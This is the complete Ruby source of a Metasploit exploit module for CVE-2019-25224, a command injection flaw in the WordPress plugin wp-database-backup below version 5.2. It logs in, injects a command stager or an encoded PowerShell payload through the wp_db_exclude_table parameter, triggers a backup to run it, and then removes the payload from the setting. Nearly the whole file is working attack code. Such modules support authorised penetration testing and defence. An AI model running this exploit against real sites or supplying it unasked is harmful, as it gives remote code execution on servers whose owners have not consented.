WP Database Backup RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WP Database Backup RCE',
        'Description' => %q{
          There exists a command injection vulnerability in the Wordpress plugin
          `wp-database-backup` for versions < 5.2.

          For the backup functionality, the plugin generates a `mysqldump` command
          to execute. The user can choose specific tables to exclude from the backup
          by setting the `wp_db_exclude_table` parameter in a POST request to the
          `wp-database-backup` page. The names of the excluded tables are included in
          the `mysqldump` command unsanitized. Arbitrary commands injected through the
          `wp_db_exclude_table` parameter are executed each time the functionality
          for creating a new database backup are run.

          Authentication is required to successfully exploit this vulnerability.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Mikey Veenstra / Wordfence', # Vulnerability Discovery
          'Shelby Pace' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2019-25224' ],
          [ 'URL', 'https://www.wordfence.com/blog/2019/05/os-command-injection-vulnerability-patched-in-wp-database-backup-plugin/' ],
        ],
        'Targets' => [
          [
            'Windows',
            {
              'Platform' => 'win',
              'Arch' => [ ARCH_X86, ARCH_X64 ]
            }
          ],
          [
            'Linux',
            {
              'Platform' => 'linux',
              'Arch' => [ ARCH_X86, ARCH_X64 ],
              'CmdStagerFlavor' => 'printf'
            }
          ]
        ],
        'DisclosureDate' => '2019-04-24',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'Wordpress username', '' ]),
        OptString.new('PASSWORD', [ true, 'Wordpress password', '' ]),
        OptString.new('TARGETURI', [ true, 'Base path to Wordpress installation', '/' ])
      ]
    )
  end

  def check
    return CheckCode::Unknown('The target does not appear to be running WordPress') unless wordpress_and_online?

    changelog_uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-database-backup', 'readme.txt')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => changelog_uri
    )

    if res && res.code == 200
      version = res.body.match(/=+\s(\d+\.\d+)\.?\d*\s=/)
      return CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable') unless version && version.length > 1

      vprint_status("Version of wp-database-backup detected: #{version[1]}")
      return CheckCode::Appears('The target is running a vulnerable version') if Rex::Version.new(version[1]) < Rex::Version.new('5.2')
    end
    CheckCode::Safe('The target is not running a vulnerable version')
  end

  def exploit
    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
    fail_with(Failure::NoAccess, 'Unable to log into Wordpress') unless cookie

    res = create_exclude_table(cookie)
    nonce = get_nonce(res)
    create_backup(cookie, nonce)

    clear_exclude_table(cookie)
  end

  def create_exclude_table(cookie)
    @exclude_uri = normalize_uri(target_uri.path, 'wp-admin', 'tools.php')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => @exclude_uri,
      'cookie' => cookie,
      'vars_get' => { 'page' => 'wp-database-backup' }
    )

    fail_with(Failure::NotFound, 'Unable to reach the wp-database-backup settings page') unless res && res.code == 200
    print_good('Reached the wp-database-backup settings page')
    if datastore['TARGET'] == 1
      comm_payload = generate_cmdstager(concat_operator: ' && ', temp: './')
      comm_payload = comm_payload.join('&&')
      comm_payload = comm_payload.gsub('\'', '')
      comm_payload = "; #{comm_payload} ;"
    else
      comm_payload = " & #{cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true, encode_final_payload: true)} & ::"
    end

    table_res = send_request_cgi(
      'method' => 'POST',
      'uri' => @exclude_uri,
      'cookie' => cookie,
      'vars_post' =>
      {
        'wpsetting' => 'Save',
        'wp_db_exclude_table[wp_comment]' => comm_payload
      }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to submit payload as an excluded table') unless table_res && table_res.code
    print_good('Successfully added payload as an excluded table')

    res.get_html_document
  end

  def get_nonce(response)
    fail_with(Failure::UnexpectedReply, 'Failed to get a proper response') unless response

    div_res = response.at('p[@class="submit"]')
    fail_with(Failure::NotFound, 'Failed to find the element containing the nonce') unless div_res

    wpnonce = div_res.to_s.match(/_wpnonce=([0-9a-z]*)/)
    fail_with(Failure::NotFound, 'Failed to retrieve the wpnonce') unless wpnonce && wpnonce.length > 1

    wpnonce[1]
  end

  def create_backup(cookie, nonce)
    send_request_cgi(
      'method' => 'GET',
      'uri' => @exclude_uri,
      'cookie' => cookie,
      'vars_get' =>
      {
        'page' => 'wp-database-backup',
        '_wpnonce' => nonce,
        'action' => 'createdbbackup'
      }
    )

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => @exclude_uri,
      'cookie' => cookie,
      'vars_get' =>
      {
        'page' => 'wp-database-backup',
        'notification' => 'create'
      }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to create database backup') unless res && res.code == 200 && res.body.include?('Database Backup Created Successfully')
    print_good('Successfully created a backup of the database')
  end

  def clear_exclude_table(cookie)
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => @exclude_uri,
      'cookie' => cookie,
      'vars_post' =>
      {
        'wpsetting' => 'Save',
        'wp_db_exclude_table[wp_comment]' => 'wp_comment'
      }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to delete the remove the payload from the excluded tables') unless res && res.code == 200
    print_good('Successfully deleted the payload from the excluded tables list')
  end
end